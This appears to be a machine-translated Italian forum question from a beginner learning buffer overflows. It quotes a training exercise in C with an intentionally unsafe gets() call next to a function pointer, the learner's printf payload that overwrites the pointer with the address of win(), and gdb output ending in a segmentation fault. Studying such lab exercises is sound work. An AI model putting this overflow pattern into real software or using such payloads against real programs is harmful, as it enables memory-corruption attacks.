Sono un principiante durante il buffer overflow studiato da questo argomento da alcuni giorni e ho trovato questo esercizio (codice da: qui )
Penso che comprenda il concetto di base scrivo più di 64 byte di caratteri e la funzione gets trabocca il prossimo indirizzo nello stack perché non può determinare la lunghezza dei miei caratteri e sovrascrivo il prossimo indirizzo con una posizione di mia scelta che il esp esegue io ho ragione?
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
Seguendo il codice, utilizzo il comando printf nel terminale
printf "qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqbqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\xca\x06" | ./ex3
ottengo il segfault che dovrei e il printf nel programma mi mostra che sto sovrascrivendo con l'indirizzo corretto
(gdb) x win
0x6ca <win>: 0xe5894855
terminale:
calling function pointer, jumping to 0x000006ca
Segmentation fault